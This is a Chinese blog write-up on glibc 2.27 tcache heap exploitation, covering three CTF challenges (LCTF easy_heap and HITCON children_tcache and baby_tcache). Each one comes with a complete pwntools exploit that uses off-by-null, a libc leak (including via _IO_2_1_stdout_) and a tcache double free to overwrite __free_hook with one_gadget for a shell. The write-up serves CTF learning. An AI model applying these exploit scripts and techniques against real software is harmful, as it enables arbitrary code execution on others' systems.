tcache机制的几道pwn题

tcache是libc2.26之后引进的一种新机制,之前一直没做到,然后做几道题熟悉一下

原理及机制

调试工具

  • 这里我直接用m4x师傅改的pwndbg在ubuntu18.04下来调试tcache

[2018 LCTF] easy_heap

  • 程序有个off by null漏洞点,然后libc是2.27的,所以存在tcache机制,当free 7个块tcache满了以后,第8,9,10个块就会放入unsorted bin中,利用off by null来free的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget

exp:

from pwn import *

context.log_level = 'debug'

def malloc(size,content):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('> ')
    p.sendline(str(size))
    p.recvuntil('> ')
    p.sendline(content)

def free(index):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline(str(index))

def puts(index):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('> ')
    p.sendline(str(index))

p = process('./easy_heap')
#p = remote('118.25.150.134',6666 )

for i in range(10):
    malloc(0x20,'a')

for i in range(3,10):
    free(i)

for i in range(3):
    free(i)

for i in range(10):
    malloc(0x20,'a')


for i in range(6):
    free(i)

free(8) #fill tcache
free(7) #unsorted bin

malloc(0xf8,'b') #change next_chunk pre_inuse = 0

free(6) #fill tcache
free(9) #unsorted bin

#unsorted bin point to chunk[0]
for i in range(8):
    malloc(0x20,'b')

#leak libc
puts(0)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)

#clear unsorted bin
malloc(0x20,'d')

#free place to malloc
free(1)

#tcache dup
free(0)
free(9)

#hijack free_hook to one_gadegt
malloc(0x20,p64(free_hook))
malloc(0x20,'e')
malloc(0x20,p64(one_gadget))

#trigger one_gadget to getshelol
free(5)


p.interactive()

[2018 HITCON CTF] children_tcache

  • 漏洞点也是off by null,libc也是2.27的,跟easy_heap差不多,但是这里可以分配任意大小的堆块,tcache的范围是 [0x20, 0x400),超过这个大小的就会放入unsorted bin,利用off by null来free chunk的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget

exp:

from pwn import *

context.log_level = 'debug'

p = process('./children_tcache')

def new(size,data):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.sendline(data)

def show(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))

def delete(index):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))


new(0x500,'a')
new(0x28,'a')
new(0x4f0,'a')
new(0x20,'a')

delete(0)

delete(1)
new(0x28,'a')

#overwrite the pre_chunk_in_use and pre_size
#clean pre_size
for i in range(6):
    delete(0)
    new(0x20+8-i,'a'*(0x20+8-i))

delete(0)
new(0x20+2,'a'*0x20 + '\x40\x05')

#unsorted bin Merging forward
delete(2)

new(0x500,'a')

#leak libc
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc_base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)

#tcache dup
new(0x28,'a')
delete(0)
delete(2)

#hijack free_hook to one_gadget
new(0x28,p64(free_hook))
new(0x28,'a')
new(0x28,p64(one_gadget))

#trigger one_gadget
delete(1)

#gdb.attach(p)

p.interactive()

[2018 HITCON CTF] baby_tcache

  • 题目大体和children_tcache一样,off by null漏洞,但是没有了打印函数,所以要想办法泄漏libc,然后这里利用IO_FILE结构体去泄漏地址,具体参考
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24/
  • 所以前面前向合并的步骤跟children_tcache大体一样,然后修改tcache的fd指针指向IO_2_1_stdout结构体修改_IO_write_base地址就能泄漏地址根据偏移来获得libc基址,然后后面还是一样用double free来修改free_hook为one_gadget来getshell,这里要注意修改结构体的时候flags要过校验(具体可以参考这篇文章),而且fd指针的地址跟IO_2_1_stdout结构体地址需要爆破1位
#_IO_FILE flags

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)

_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags

exp:

from pwn import *

context.log_level = 'debug'



def new(size,data):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.send(data)


def delete(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))


while True:

    try:

        p = process('./baby_tcache')

        new(0x500,'a')
        new(0x78,'a')
        new(0x4f0,'a')
        new(0x20,'a')

        #unsorted bin
        delete(0)

        delete(1)
        new(0x78,'a')

        #overwrite the pre_chunk_in_use and pre_size
        #clean pre_size
        for i in range(6):
            delete(0)
            new(0x70+8-i,'a'*(0x70+8-i))

        delete(0)
        new(0x72,'a'*0x70 + '\x90\x05')

        #unsorted bin Merging forward
        delete(2)
        delete(0)

        #hijack fd -> _IO_2_1_stdout_
        new(0x500,'a')
        new(0x88,'\x60\xc7')

        #hijack _IO_write_base to leak libc
        new(0x78,'a')
        fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00"
        #gdb.attach(p)
        new(0x78,fake__IO_2_1_stdout_)
        libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0
        log.success('libc_base addr : 0x%x'%libc_base)
        free_hook = libc_base + 0x3ed8e8
        one_gadget = libc_base + 0x4f322
        log.success('free_hook addr : 0x%x'%free_hook)
        log.success('one_gadget addr : 0x%x'%one_gadget)

        #double free
        delete(1)
        delete(2)

        #hijack free_hook -> one_gadget
        new(0x88,p64(free_hook))
        new(0x88,'a')
        new(0x88,p64(one_gadget))

        #trigger one_gadget
        delete(0)


        p.interactive()

    except Exception as e:

        p.close()

参考文章:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,682评论 6 507
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,277评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,083评论 0 355
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,763评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,785评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,624评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,358评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,261评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,722评论 1 315
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,900评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,030评论 1 350
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,737评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,360评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,941评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,057评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,237评论 3 371
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,976评论 2 355

推荐阅读更多精彩内容